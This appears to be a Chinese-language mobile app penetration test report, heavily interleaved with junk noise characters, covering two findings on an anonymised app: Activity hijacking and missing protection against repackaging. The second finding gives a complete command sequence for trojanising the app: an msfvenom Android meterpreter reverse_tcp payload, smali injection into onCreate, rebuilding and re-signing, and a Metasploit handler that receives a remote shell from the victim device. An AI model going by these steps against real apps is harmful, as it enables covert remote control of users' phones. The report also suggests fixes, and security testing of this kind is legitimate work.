! c* F. A( N" P& o Q% k 表1-2 测试结果
4 H: B2 p4 c( f3 _# D
7 n9 q3 e& O8 X& d
- H+ t% H% \( p n( r& }. R& F
: [' V6 B4 M0 z* O# @
e" h6 N& F" U4 U
; V& w% O( }' ?7 U
3 N/ d0 q5 y& N$ @6 I8 _% K) b
- K$ y8 w1 E8 a v$ b/ S
& D$ N8 j8 m( v' _" {# ~. a
& r* X+ p$ w& A, f
0 g8 }6 C1 c# P: [: r6 \- X }& L: h0 u' \$ M; w, [9 ]6 \" ]
2 检测结果 : r1 ]0 j6 \0 w, k. d7 B
; @$ t4 ~5 v9 y
6 v0 V! U/ B, P( L3 H% J
1 v7 A6 Z0 _. k% T3 Q6 o0 W' k
3 x8 P2 Y: p: R" A# B9 T' j, i5 M9 p- X" f; l# F+ d' V) q' z, j
2.1 某某某
4 b% ^' N, v4 \2 c/ i$ e: D* @+ y+ F
3 }% _2 H7 U4 M- E* }( f
$ |$ \4 V; A% Y. Q) H- V
8 X' i' D9 N) {9 b& E2 {; ^' k; ~' _6 f' H
2.1.1检测目标
1 y4 t3 \6 ?7 d* R4 Z* J0 W3 L; f% e( x" Z3 h
8 D+ w' \+ ^2 O( F
! i2 w- b7 s2 l6 U0 F
( L, a5 p& [/ R- e* `( C' n4 w% m
9 N# J, ~* a" z 目标地址: 某某某某某某APP
$ m4 R$ J. l. a4 L7 ^# k) J
+ O# a* [9 F- O( Y( m7 H& c
9 t8 }) d2 z. o2 O. s/ f8 Z- ]& d
5 ?: g9 X: Y1 A: y
" O: @5 i5 p: f) S/ I, j
/ g8 ]5 ]/ L: r& D2 K9 t 2.1.2检测结果 $ ?/ s8 m" P" c7 l n+ i0 h/ _2 G
2 f x, o# S j. ]0 L
. c w+ y. k1 d4 |0 g! `
8 I6 t$ J# ^- Q$ w 6 S5 l- r: _& I
/ h! w! B* H- e0 s8 { 2.1.2.1
6 m: @/ d. H& g- [/ q% w5 S9 ~2 m b8 o
4 B& q; q, Q+ T0 R4 s
& d+ e) \! y" \& I
1 N, Y$ S( _2 S3 C5 d( C+ P! D. _) v" b9 G; ]" u- z6 v
漏洞链接地址:某某某某某某APP ; _; q# g4 _/ N4 g4 R
% @+ e# m" [1 a
5 B, A4 z, f1 o7 _. U: R
- ~4 C/ D# D3 n% w$ o2 j
' S# L5 e) I* e; Y4 Y) c* h: Z0 A' ~7 v5 f' v
8 B( m/ j. P9 ~1 W0 g2 P, G
. `' r5 D7 F/ J- z& N
% R3 o4 ~; l; F5 U+ n& W7 M/ C
* Q4 @, i" C2 s5 N& G4 i8 f6 ]
5 r& `) ]& H% ~2 Z5 h
$ y3 D4 z% k( t' J+ J: l8 f
漏洞分析及取证: 1 V4 y* U2 W3 `( E7 F
; I+ M5 W w: Z$ W7 Y
& D. V- ~; [' {+ c
+ P! H( F. n! B7 w0 U& N! Q% L
8 f" ~7 X6 f& G; M7 j8 d2 [
& t3 O7 A3 I/ A; J4 R5 @' O6 [ 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 1 i6 w4 L. S. G$ @6 S% w
e0 [) ?5 |- g! Y5 x% N
7 y1 K M0 q y u! q% Z
3 W7 S9 S. }+ a. F" x
) \! e+ S/ Y6 w8 B
# {6 `' z6 L4 M
0 A/ F' e" {' _0 m% g5 E* x) ]/ r, y1 C& H( X, {
' Q0 n' P y4 C/ k
& ]0 z: q* O- o% T% K, P4 N
2 g5 e4 P1 z1 o n& X# L# ? |
# C/ D% T4 W* D) M
1 v6 h. n! _1 W
- J o4 T: x% C: c
$ V& r, I) D0 [2 N 5 M) s1 x% i* i9 ~
& C4 {1 R8 _& |6 |( K6 a
0 h7 }( G) v% a7 T# k' V9 h0 h
$ p# P: F/ C4 C. t
9 b. e& W+ p3 s% }. X% I* Z
* n$ p& v; L- W. D* `" b
% T+ O* E+ s K- i
, D9 C, ?* O/ l' I1 T! x$ c( s
6 M& i# W" a4 G4 Q3 l
6 p* ~8 ~1 d; x9 `
; _8 R: w. P) U( L4 s7 B4 i; E2 s# l6 C( l4 b5 J* F" E$ p
/ a2 Z. h ]' X& Q; E, c# i
/ U+ T( i/ S- t1 K/ K
& e; q z: v6 u4 o# e8 d( x9 p: m
0 }- ]2 Z& { U$ V6 {
% A, h8 k5 O3 V1 ^
2 V w- L8 k# N 8 W% i7 O; r& m' t+ r) ?# O
$ g& U! N3 c6 E8 W' ` 漏洞危害:高 9 d$ V' t, Y$ X; u" V: X" c: z1 `
, [% [: U0 W# @ A& \3 i. ~
9 H4 e4 y, s+ @5 q& H" C$ O4 E! |! b) L. J# T: `9 g
' X8 U) D( M5 G3 s% r1 h* ?/ r0 |% H1 q$ q4 a) P9 i: ? N
" P v M! I. a5 y, N5 c5 T7 f
- ^# Z) |, V% ], v4 e- M* u5 V
! u9 \2 E$ P X( y* [
+ y- V, g. D- O2 d9 w
+ X1 ?" E; }+ l5 f6 v2 v
m* q: I3 e/ H7 {1 v" A 6 b% p0 n4 O( T& {: M9 p
* w) t' V% i( j1 @, S4 X3 j/ c9 q
* U: o5 X3 h7 M; _9 F
* ^/ s( D% K; L6 |$ J
严重程度 / V' p+ n& Q" f' W, z3 e
. F; l% O/ T: Y; h5 w% ^
, ^8 w% U1 c6 o0 ^ E: l& {$ l( c6 O7 a3 K% ?5 \" O, M1 |
| 1 W& L* {# G+ y4 Z8 S; Z5 d" P
& G1 }5 L4 Y0 B& S1 m; a0 B3 I6 A+ T # A# @3 R. O6 V0 g
3 p/ q. H* p0 a7 [
, Z; g- `$ N5 E- R6 j6 f% m1 A; P
8 @/ m6 G5 P9 T l5 ] 高 ! C/ ?, J) ^. t0 `! W p3 o7 y
$ @0 j2 b7 H% [2 ^8 V( R/ X
k) L' y2 o: \7 I% }# k, X# R
9 Q- B2 N1 B, K' [ |
: m6 E( k6 R2 T; {( y( M# Y% h4 W% Z! b" m2 F6 e) I/ x
( H3 `5 ^; R1 N" @9 }0 p1 c: I
$ @! h5 ^9 y2 R e x1 ] - m1 r4 t3 e1 _. j2 _0 @, b
9 k+ c' h5 K' z H' O, i
■ 6 o0 ]- |2 |& J: j. r& t/ t
- {9 U+ @. z4 `! q4 o0 l3 b 6 P/ y$ H- y! z$ N( R8 p- q8 k! R
2 e$ ~9 Z: \% p* i4 f$ C9 v
| ; Y# _4 o, v7 {0 p f, ~ n
& t& {0 S y+ K ~! K7 W
5 Z, z$ L2 I0 Y8 r% Q; m ~2 g1 i. \1 E/ A
/ f1 r" P3 q* H) d3 _! ^6 m- @1 K
$ X9 ]1 g8 m5 ^% o, R& ^ 中 & R: O3 [8 ]6 L) s
# @) _4 V! i5 ?- f$ e9 }
2 U$ j* y4 m( F* }# h! L* s4 h% R# n/ I( y; r0 Y Z& t- @
|
( [3 N' V! d& B
% u. B8 N- a) c# T6 u3 E . e4 H3 \) E! J9 j9 d; W
5 b* v* k# A3 D' ]! M1 \9 R
+ r: a$ z- B6 S9 \. {6 I8 w3 H. t% K4 p, R
2 A+ e( x T! D/ @7 d6 K/ k0 j
7 N1 X$ h; Q( _, y1 C# \
- g2 J# i: j4 A; K. a! `$ r8 c9 b5 h
|
$ L! ]0 K# w2 z& e
! Y4 T% Z) @% Q; D7 @- g
) Y, V4 R6 b; Y
2 Z g3 [" X1 X1 n$ P, ^) }
' h" r* A. d/ D$ ^+ H$ O) T. _2 M4 A8 |1 s
低
; y5 A& |$ U3 w, A4 T1 r/ B( C/ |; r! X
& E1 G0 c$ }* w! s7 R# j9 g) ?
9 {6 X' z# v/ R! n! ^ | . Z- G% r1 g/ d A& J. T4 R
0 u5 g# F# g/ a$ k6 ?. s1 G 0 E ]( H; N/ a
. P5 ]* Y. v. j( \' `4 z! c
( T' p* i2 d6 v1 ~3 Q0 @* d1 k6 G. j
( F0 z& T! l F1 k6 [. G& G% T8 {- E
7 ^6 Q% m1 J3 i. U
# X4 G, D- l H* z; a: l
/ k' o& P4 \4 j* i* b: i |
: e1 m( a; z1 S
, ^0 u( n3 n7 U4 Z4 A
: n. |' a' N, {8 T
& I5 S2 T# z8 w3 u( a% k# r, y
# J0 a1 h% p7 T3 E1 x& l# ?: J
( `% y) w/ U1 c% ^; z
- ]6 |3 R# _' D9 y- X. P% a. r
% z4 f9 T1 I2 }1 G/ _* T& R; w- A* w
8 C; F" d9 L8 G3 C1 ~& R- I, l7 u& p2 q. v; {
# F" h% W( r; Y+ R5 Z+ m
" l# ^. y c" U9 d+ K2 I
% z/ ^6 ^5 C V- v, `) c: M
, b( q/ t! T- d
' ?2 l" f6 Z* v* ` }' P) Y1 \* O6 I( y+ q$ v% S
- q, i% J* N0 P/ e1 L1 @2 A1 S
( l1 h1 W! {4 W9 H& P0 v- F 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 6 L0 O7 Q& w; w$ \+ d4 }
3 m% T7 |! X6 v
+ u( ^0 A& u" i+ K5 l/ r2 T7 w3 w+ W- K: J, q! L1 p6 C
! B: I2 J/ B6 C( P7 L$ a0 m5 `4 s5 A# `" m1 Q$ s5 g2 G
; L3 }# Y W1 G' E8 y9 W) V
@9 {0 K' a, ?/ v
+ z/ q5 a0 H, `9 D8 n
7 A" }$ [0 k# k& j3 _3 s
3 v c- h: }6 [6 v
6 G+ N' S# V+ z
& j# f" p9 w0 [
9 Z% D& ]& _8 z4 n, m5 W3 N
( L0 o/ `) Y2 E' T4 ^
. G5 Y4 v' M& Y p5 d0 U4 `( h% z" h
* g3 i; ` d2 U! R( o3 }5 P0 M- K) H, \6 ~* Q
2.1.2.2 ' x& q; y2 t7 r5 H' ]9 i1 j
7 W7 x/ F, u4 p( a) T( o
+ Y _# F) x% u8 u2 ~3 E$ K
: Y. I1 J" w: C! d
0 Q' \! g' f8 `& o- | s
( Z/ P' k3 I2 x7 b# _; [& B 漏洞链接地址:某某某某某某APP : _! O( X8 v0 [% _- n' m
& f5 |4 D; j, n
) I/ L2 |. V3 e2 @: T
7 ] t' i: F, x" S2 I% ^
% n! e. N6 p- v: q- q% v# N) x3 x4 | k+ M4 }; Z; N# t0 o
漏洞分析及取证: v/ l, \1 `1 t% p! a. m$ r
7 p: k4 D5 a# G2 j4 H. S
) q* h0 k# |# g n( C7 P" U, O2 _& x3 X+ @
; J9 J G+ s) N! S% |5 V8 C
9 l- w+ _# U# _ 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
6 s5 f6 `/ X# j M/ _
1 Y2 q" [, T$ L5 t8 r6 ^
/ z8 ~$ u2 J/ A" W1 }! [
3 v& A4 P2 `5 ^4 b( U* E
9 k: a1 U6 q: Q& L7 v3 X% _# q2 \! {
% k2 p$ T+ @2 V& P5 m
用Metasploit 生成木马 apk & ~6 G/ _& \; `3 Z U; W% b S
: q- P, d5 [ b1 H+ N$ {
! I D* d4 n# h9 a7 F5 i/ ]
6 h3 D$ j0 n1 u/ d
- ?* c7 }! f' ]. r/ y4 Y- L* H; M$ c, \, M
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 1 H9 {! t& p d4 R3 u' Z& N& `
6 g. G2 Z( G/ k# m; u9 I$ q3 S" s
2 N/ i& C4 W5 }; u$ u d, g+ j! k. F: ?" h! s( P" n$ l+ c. H& u0 O& p; r
0 K. P0 u2 B% n/ L% `5 L! ^- l
4 t0 `- R- s3 G, W( _0 G) J 反编译目标apk和木马apk + P Q8 q+ O/ b, y' g' e1 |3 `
) n. O& ]4 Y0 O+ S; v, ?! S
% }$ W0 d# c* [' t- U. S+ s9 F+ i) R2 K# D& }. U* |& P2 V
. A! n U) R2 X1 m7 Z! Z8 v, z) p) g& G& @% W% }" j( B* y% k
apktool d target.apk
* r3 d* N0 @8 b% E: n0 z8 C: q
$ t( |7 g2 X" { O apktool d cockhorse.apk " {3 |% M6 ^2 {' o' Y) `; ~, d
: q. J$ U- e3 m/ o2 o. E
% h% e! w$ \) t: z/ }- H8 g
/ w# V$ S/ D' D P# _6 ]8 _
# B) `0 P* H% w5 K9 m( z0 X j$ M# n
木马 apk 注入目标 apk
; ? W! y) d! y" ?2 b* N! B/ i2 {) p. b7 n1 i9 |7 n
# L- Y0 ?4 e$ @8 u+ b6 n# `) L( C8 L
/ J& S( c6 o- E
6 O4 M4 B/ B' W9 L5 i1 ]3 \( W 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
4 |1 P. e- ^1 W N
4 w3 N2 }. i* u o invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V $ j7 w3 g* N9 f6 W2 w
+ V Z0 j; F0 \; i
1 K/ @& d* Q: b |8 [1 n8 g) B( P+ `$ h6 H$ T( X
2 Y3 ~: U) v3 p7 Q0 y3 Z) {5 z. n) O, o, Z9 a
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 ) w' F2 }) f5 D |0 g/ a% |5 q
" h+ G% D- }9 U i' U; R& n) L
0 \' u. e3 V% o! L' F+ X! J G
" C7 G7 J( O# Y' Y 2 x' H$ s, p" X3 ~% i
, o2 g9 c* g Z/ k" _, ^ 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
, e! o# \7 | S# [2 `
& ^3 g( S7 P( |& w( z$ k% x! G
5 y. k' y) F# H$ I4 v; ] i$ _+ g# y0 {0 |4 G' B& _! N
! \; D* N1 x$ Y+ k% o) R, j
: l0 ~8 I3 ~- v* Y" c' |* G
回编译生成最终 apk ; y7 Q8 Q* z4 Y3 v; v
' j3 A3 R& j; v1 J: W
( t9 S& S* g% Q" k* l7 L
2 a8 i: N/ x: b ' W) [6 F( X! Q0 S( _( s
: O1 _. V2 G) M! `3 Q( J
重新打包
+ ~% B7 L5 d# N# i$ r% f- h* C" P! Q- G3 ?8 I/ Z1 @; F6 t
; L& L* b) \* T8 Z" Y9 J* w/ S/ Y+ R2 w# d8 b) P& o1 o- }
$ S% ~- S6 i4 q( ^, u$ C, T/ }# B2 Z& v O+ i% ?& L" d% W7 _
apktool b -o repackage.apk target_app_floder + H# O/ }: Z" B6 Q
/ q9 o0 c7 {& {, {
/ M3 \, g3 ~/ E" L3 E
2 K4 t4 X8 j4 W# V: ? ; u) V, u9 M. c6 I
3 p( N6 a7 c, |' A9 B1 J% M 创建签名文件,有的话可忽略此步骤 # M% f; z( W$ q5 C/ c* J2 \
' a, ~9 `% Z' |. t
$ n0 T4 v4 t, T; W# k
" z& g# d, A, ~6 }( o6 ?
% ]/ {" H# A$ y' S# G
" A& n( G" d" O& [6 K keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 1 n& [+ Y! i) j( |0 |8 c6 J% J1 n
+ ?1 ~) k8 b y7 I0 ^
" p: }& ^0 e; p) r
- _1 V: |5 F5 K% h; q. P+ ^
5 g/ R3 G1 n! w5 b
( v0 V& L6 Z% ^) ^# e/ E 签名,以下任选其一 . a% {1 W( B& G# L( V) w
0 D) u. |+ K; H3 N6 U4 n, K
& h5 C' b' P8 Y# Y, |6 D
) N* e$ p7 Q2 L6 }$ `& g
& i; }/ a0 }$ I& G+ u% b. n) L/ q8 c0 A' c- q4 N( e$ [7 l% o& G
jarsigner 方式 7 ]9 b, A; \8 D) y$ t" M0 Z
+ G+ S$ [% D6 `
$ v p2 r* v( Z k1 m$ |
9 z8 G% O" x& C1 r( k% I 4 n7 E, I! X6 d
# \6 V: v" D: m) a8 x5 @
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
f, ]; p4 K# H+ v1 Z2 x
! P& _8 y. N' _! W% d7 L( x
: E9 }/ ?; M/ Q4 G
/ I( H4 h g5 [: ?% H& Z 6 ]( o/ L3 T& ^$ M: P
4 a7 E( f* O1 s8 Z
apksigner 方式 1 ~. F& y- y1 @$ z' q
# p/ H2 e8 w1 a# G
5 p/ z/ E, d! J1 [0 w
2 l% ]+ m ~# Z. |7 l5 T6 |
( w4 v. z/ O$ c9 O; m8 _0 N
! ^& W5 L2 J5 P7 R2 v1 S apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 2 T2 l+ Y! b. \3 M* ^/ ^6 r
5 E* j7 |8 W. L2 u4 J
% u: d% t6 e W! c- s- S( R( `) n0 e0 f4 H3 N
/ y7 Y5 U. w# N8 W
. K6 ?& ~; l+ H& c% B 如需要禁用 v2签名 添加选项--v2-signing-enabled false i/ z0 ?( s6 b. m7 N4 B2 W( r+ L
( ?- [% K6 \9 F/ \* p4 n+ B
$ A) S7 O3 C0 p% F
( C) G& z! ?3 y- Q* c Z " f* s8 r4 z! _8 P5 U
. k" }: x, Y& v5 P6 x5 l
验证,以下任选其一
* g, p- V% N& L
/ N+ L8 L( I- l- O/ v) a0 j; a
. M7 E4 M/ q' U* M1 K+ Y# b7 b
8 t8 Z! ^* T( \6 _! Z
1 c1 J8 ^ g! A }# U8 X& Z8 ?0 p+ S8 y. i9 G, q5 R; N* v8 C: j
jarsigner方式
8 F3 P2 E8 C ]; |
) x) K# Z- _; S" Z( P( D% {+ m0 C
* V& f7 _5 M& _% s* ~# H/ x8 s
, U; i) m4 C; d2 l, ]+ I 1 p+ p3 }# S R: d
- D/ G' M' Z2 ^& K
jarsigner -verify repackaged.apk
+ G# _% f. m8 s' N$ D$ m) \
+ r9 V' F2 U7 H( v7 @
# O& w6 s+ o- P) F" Y/ R7 ~
$ G6 }8 ~! l" t/ V( } / A- v/ Q7 p% N3 B9 r
: M& {! H4 x5 @' d
apksigner 方式
8 b! {6 G9 r3 p; W, o: g6 @& Z% K! d+ x2 ?
% D& u/ R- Y }
8 g+ h0 V) J2 W5 D( Y3 Q9 b
$ m! u8 Z5 }3 R5 q: u3 L8 k
5 t' K% n0 }' o! p9 _: _ apksigner verify -v --print-certs repackaged.apk
) ^+ e, A7 h$ g: t8 |- x9 s9 F1 m: L6 f9 F& ]
+ i; Z0 z" W5 |8 _3 _/ V0 O2 W4 g) B( Q# z6 [ s: D
' m: z" F! e) Z ^5 J! U8 U# m) d
3 V I2 }' P; e- ~9 y9 x- D
keytool方式
& V0 d& M$ S) N8 n/ s$ c# ]3 `6 q: }5 @: o# w
, p6 B1 [* \0 E- ~ D: y4 V
. A. h, J7 U2 H. y5 S
4 B" I1 R( f1 v/ u9 m/ b
9 z D+ r/ n. V5 e! s3 r6 y
keytool -printcert -jarfile repackaged.apk
, D# G* f! R: Q. W* O2 E- b: H: C5 V9 t2 G
; Y5 j( R% Q, D. U* Y. e
* z6 U, `+ X# ^8 S
6 F4 ~5 c4 e! t: |2 B: H% f
! j- m& g( i8 Y9 T1 w k6 \& q8 z 对齐
5 R, f' r& i5 d. H @- z2 W! n4 Q Q- L
( T3 ~ D3 j q9 w1 |. A$ @
/ X% P: d5 \% h
- A% W( M( |! l. s |3 m
% F, W$ u& R; u3 x& E1 f 字节对齐优化
! ` Z0 K5 _ j% Y7 X9 Q7 Y/ g* U$ b& Y$ T! R% D' c$ k6 m
& _' i( V3 M( `) L* U- B( N ?2 t) _! Y1 F1 }
# z7 l& e% R( r( E7 E! h9 h0 R. R& D! n2 p1 R
zipalign -v 4 repackaged.apk final.apk
/ V2 C i0 x4 A' E2 c% _
1 e- H+ `# c5 T8 Y. G8 A8 u# [
1 Q! ?0 c% c4 }# s" w' m" e$ Z/ o
( z9 U9 b& ^: q" a5 q) d ' @% l3 y8 s: j1 z f
: f) M1 I8 W! K
检查是否对齐
3 [0 q$ O1 K7 `1 C& F0 R/ {% z" j) e3 d- T1 s: O* m
) N& q1 N. C+ ~3 a* X
: E7 M; ]3 W# I% h) [
% H* S9 m& O3 I! K0 t+ O- |0 @% Q A) t
zipalign -c -v 4 final.apk
1 E0 u3 W/ h! B& c X
+ m' y6 @% \8 o0 q3 h, i
$ l. e7 [) r, q( A! ^" Q, w+ c
) s5 }) o+ B+ }: { @; e8 g: Y) G& G
0 v" C* Y5 C) }, h' z0 X
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
4 R P. {! g0 f& I" T `4 c- V; U% J+ e
3 N m/ ]3 v" P$ r1 A" v
2 ~ q) [/ U& J' o# u7 c
1 v8 {) c9 L6 P) A5 ? Z' c7 e* e' J
启动Metasploit控制台,配置参数等待上线 ! ^8 Y. R( K5 a6 f# D. q5 i
/ {- {2 C, c3 j# V% ~
- z7 C2 Q' G5 N5 |5 q# j6 p+ w
. w3 ^0 a& R7 ^1 s+ I
4 @) W; _& T! |7 i0 B+ F1 k: }
4 {! ~0 k) N% P; v# y/ s/ u2 Z 在终端依次输入如下命令
r, @' |: {. w( Z7 T2 I- m( g: e( f8 N
2 E1 g1 w+ d( f/ `! k$ c7 v, t3 k' V* ~" f7 h2 }
$ ?6 F. m$ S" i; m+ R) _$ w. K
4 O( R, B- S- H6 m: u msfconsole
' i3 H+ w1 l& g) [% Z% G# p$ x8 g1 o& f$ V x* [; ~
( b' K0 v! [: q/ |( d( H- j; o6 o/ u9 D, ]+ e
. X7 ?( v& ?& P0 m+ W8 X8 X- W% d
/ O1 ^7 d& Q+ M: r use exploit/multi/handler
- [' _* F1 Z2 V; ?. N, _ T3 M$ _$ P5 c0 y; `, h! }- V
+ W6 [. h# Q9 |6 m& n4 d H6 `# ~0 ]& k! s1 g- C
# R$ l+ X4 e/ }: e) ~/ S/ p! }4 k5 W7 v* a4 i; s$ ^
set PAYLOAD android/meterpreter/reverse_tcp
4 s! @7 |% [, b( F* P' Y
) S O3 z: J/ d3 ?
, x& \$ i/ e, I0 g/ p# R: F
; O: N3 ]) f$ {& _7 j& N
|7 G/ T5 w. ^; L
2 S& h: o( D6 t" G! X& | set LHOST 192.xxx.xx.xx
$ S5 A f+ Q/ Q9 J: F5 H' p& u2 C# ~1 o( w, D& ]2 `) Q1 R
2 z0 n& j" L0 P3 p6 |7 J7 X& e
0 v6 v y; }6 i0 v$ Z6 ~! |& @ 6 G: {. }+ O3 P; W- l
) \* t# ^$ G2 w% B set LPORT 4444 ! a" U$ O0 ~- `: w1 U& D
; k/ ]9 n d+ |& X3 D* Q
+ U! I4 @7 P( Q9 Q5 z3 c$ |1 Q
. L( w3 [9 S: f4 m% o- L
( C, Z& |; q& }" q/ Y9 S
' b; Q% P) j# a2 ^, ]$ d exploit
" A4 j3 m. a; v$ F7 C# e7 y/ p6 q5 l% F% Z! p0 }% K
" e( s! j# d& g2 X2 V% U+ K3 |
8 P" e! j0 g8 @4 @' N# r# K
7 f% W2 W% ?4 g2 C. y- r% x# W0 m0 T4 X
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
+ v4 `; h S6 B2 \4 `# h( `- b( ? |+ Q
6 o! d( P! h2 Q$ e) x! i
7 j+ v9 H; d: s6 Z& g& z; H 3 R5 s: c0 M/ Z7 o
. o+ {. W2 N! M2 h+ o 漏洞危害:中
8 u0 y6 }+ D" | z& b* U& M! X9 l, [- g/ ?
( a% b# \+ E4 J# ]0 A1 `2 s8 h
" g0 `6 D# {' m5 l8 K9 y g+ Z 5 U ? u% b" R2 V3 Q4 u: k
" `+ X( S$ F7 T1 F( Z' I
, F6 m) Z7 Q% w! j/ G/ k0 l9 [0 O
4 R' r% M% ~1 k9 [. P- V3 g
& c5 t4 `3 j+ U" z# q4 m" k) D
3 [7 o- K( o8 T: c6 G% F
* t! M( N! j' e) ^! q0 _2 O
5 e4 G7 c* `8 d2 }5 d
6 h* ?& y* t$ H+ G( [ O4 c8 `3 m
" l |" n7 g% L
4 J! l, J9 d# ?5 `2 r4 |- N; k) o; f4 q9 [. v4 e
% A4 P' u& p$ q! k8 U- r& S3 q, E9 h1 w$ J/ L" t4 p
严重程度 4 Y# `5 W5 {9 w7 v. Y2 e
! N! {- ^6 ^3 l; w+ }0 c
2 J! C2 A) `' X( v
( c1 ~( c5 p4 U( b- q8 Q4 F$ y |
U! t( s% l, M X8 D/ s7 ?; K2 B2 q w U( x* B* g
3 M5 \. t6 g; i$ E5 m
6 h4 ^5 ?# e+ b2 m5 B 7 e! q0 Y; Q a! l
% s+ W2 K8 C7 Q8 x7 S9 e1 N2 V5 C 高
* a' D6 x3 l: y+ d/ o( G# h; a' l/ i- l6 \4 M) {
9 v% z& `, i* U
& A: r' a9 x- S% ] p: C" `
| * `' K% f! d. R& c n
$ h' \ _$ F9 ~
: |! Q# W2 a6 ~& E& e7 ]# i7 K! o
4 q: w: ^+ Z& z$ ^. X: C 1 O; L; v" S7 u* @( i
4 h) I: a1 z6 P
■
' U. T, |1 G# \3 o7 i9 s O+ y1 }1 W2 ~9 B# [! @% s, j9 @
" P% Y* E+ E2 t" p' Y: p5 `
: Y' u! e% T+ V7 |3 X |
: L; ?" J% F9 J' Z* n: ?" T
/ _+ x+ g* Z* p. d
$ g3 B+ ^+ z" t! O, f( v7 R, Q2 K/ V1 {/ j" z( Z$ C$ z
, B' b* D) }- a" m
: U- ]# B1 ]6 \7 H7 M 中
2 P$ d* D2 K! @4 ^. H }
- e) p: i5 g- `% u
# K1 n5 M! Q! K, k( z! H- L4 D
$ J( b$ t6 q; n* u- i | 9 L3 i, w3 d& T3 F! t6 n
, ~9 }, H# r+ d2 j7 \
8 \# ]4 s5 e+ b5 l
3 B5 T V+ L. A% N/ V 6 x8 w; R) t# [2 {( x
; E- q: u3 Q, \3 x& U" L0 C. k
g# q( T$ D" A( R: a* L
/ U! R, k" T$ C8 v5 X
( V$ o( h8 q8 Z: p) \
/ P/ I1 Q. X+ \% ?% i& B
& C. s: a* K) }) _1 x; J# Z
: Q! L* m/ F0 H9 V
|
% o7 \ }& N' n7 |0 a$ V4 C0 T: l$ {( O- M
U1 {' W3 p3 _- c b3 [6 e4 _
' z, r2 Z$ T- Z9 q$ {
0 z5 h* `7 c0 Q$ V( h* H, N8 ]/ k 低
6 d9 \% M4 d' a. i% f, z3 m; @: }) A6 I! ]1 S- x. B
) Q4 I8 U2 H% t" M
+ G; |) b. v( v- }# b
|
" H# y, |, ~# Y: |. h# R" U
' d5 e q [, r4 ?$ Q l! ^
}& l0 M/ N9 g+ A9 H+ ^- s P6 j) v' n7 A- c0 C
" F* J1 H# L- H& `3 n2 B
0 S; z9 K% l) N2 A8 O2 M: c
1 V" J$ G7 g: [4 G1 R d5 E; @3 e1 S% E+ Z
7 W: T# Q5 o+ [' G( ?' L, G% V: ~6 D: h$ l' B* `
) Q$ d8 @) ^6 F3 D* Z* s5 O- @
{2 P3 |4 c+ B+ o# L |
0 q- H! z* q3 M- B, }& k3 n3 X9 J, s* g, b) Q" c1 ^/ U
6 V3 L/ m$ Z7 Y* d2 [
4 g$ J7 Q# T6 E) r' J" M 7 C: p* P4 ~9 B- e5 V7 w% Q
* v7 n1 i! N/ j. n8 s
9 H9 n7 j5 g4 l2 `1 X+ R( O0 W* a; R9 a+ L* Y' s" j
) ]& i) W! i. v" v2 r+ `2 E
7 W' F3 G N8 Y' i0 D7 D% e% S P & j4 [; j, {7 Z& p' u6 s5 u
% u' r b$ w# v5 \
9 E' @1 z2 o, _/ s
/ E) d- ?1 m$ G ^
1 H+ `# i6 x ?, R
g, c1 n) a" [$ E- K3 Y
7 I8 \* y7 S& u) E5 T" b( j. ?' ?1 [7 u) q& W
修复方法:
: }) I, I9 J' D* ~7 }/ J7 w/ n6 @) I! O$ s; L# Y& {
& Q6 ?! q& l6 H- r2 O
$ W. F4 @- C7 v2 u$ o0 a
3 p! J0 S9 h3 T6 t! r! k% y+ r4 R7 y
1.在 APP 启动时应做签名校验防止二次打包。
& W$ |# T2 }( V8 b+ b5 L5 f( U& s: w
6 J N+ U2 D- s( Z$ O
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 " U2 n, |$ f3 U8 u
5 y; M- m* B3 \" [
8 C5 M' n9 Y* l: e# o* |' |& W ?
9 {6 Z* }9 R7 v) D! K. W
' v3 U$ [/ @" t- E6 z4 q E& @0 ]% S
6 T6 s; L; U% Y3 k h0 ~# y: E( R3 f" z) D3 r5 O. O
0 s2 G; T$ F+ ]8 B, v) ^3 _* e9 H: _; V S$ E. G5 L! J
2 L: ~' c) M5 i4 a B( [/ b' k. p4 L9 j+ z: c+ \$ u0 C" G/ L$ r7 a
R9 \3 s1 C' c7 q; |
3 `$ q# Y& J; q% l6 T
$ {- K! q& q: T. J# R2 E
: j8 I. z4 H# X( l: k3 i
# M% [5 U, _4 F* {+ S( J
. K4 E/ Z; N$ h) m
3 a: b, v5 ^ F$ G' `0 s8 [
2 x' @) F( Z) K6 u3 I$ `# M